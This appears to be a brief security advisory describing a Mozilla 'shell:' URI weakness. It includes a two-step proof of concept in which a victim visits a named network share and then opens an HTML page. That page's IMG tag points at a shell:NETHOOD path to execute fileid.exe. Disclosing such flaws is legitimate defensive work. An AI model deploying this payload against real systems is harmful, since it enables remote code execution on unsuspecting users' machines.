Mozilla External Protocol Handler Weakness

Mozilla External Protocol Handler Weakness

There is no exploit required. Liu Die Yu has supplied a proof of concept for a 'shell:' URI remote file execution vector:
1. VICTIM VISITS A SHARED FOLDER NAMED "shared" ON A SERVER NAMED "X-6487ohu4s6x0p".
THIS WILL CREATE A SHORTCUT NAMED "shared on X-6487ohu4s6x0p" IN THE FOLDER AT "shell:NETHOOD"
2. VICTIM OPENS THIS HTML FILE WHICH EXECUTES A FILE NAMED "fileid.exe" IN THE
"shared" FOLDER:
<IMG SRC="shell:NETHOOD\shared on X-6487ohu4s6x0p\fileid.exe">